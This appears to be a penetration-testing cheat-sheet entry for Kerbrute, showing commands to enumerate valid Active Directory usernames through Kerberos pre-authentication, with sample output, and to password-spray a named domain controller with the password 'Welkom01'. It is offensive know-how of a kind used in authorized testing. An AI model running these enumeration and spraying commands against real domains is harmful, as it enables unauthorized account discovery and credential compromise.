Kerbrute

Username enumeration & ASREP

A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication.

GitHub - ropnop/kerbrute: A tool to perform Kerberos pre-auth bruteforcingGitHub

Username enumeration

./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:28:04 >  Using KDC(s):
2019/03/06 21:28:04 >   pdc01.lab.ropnop.com:88

2019/03/06 21:28:04 >  [+] VALID USERNAME:       [email protected]
2019/03/06 21:28:04 >  [+] VALID USERNAME:       [email protected]
2019/03/06 21:28:04 >  Done! Tested 1001 usernames (2 valid) in 0.425 seconds

Brute force

./kerbrute-arm64 --dc 10.70.2.21 --delay 500 passwordspray --verbose -d DRS.intra users_enabled.txt Welkom01

Fix if getting strange error on false-positive:

Enumeration Reliability Improvements by ad0nis · Pull Request #49 · ropnop/kerbruteGitHub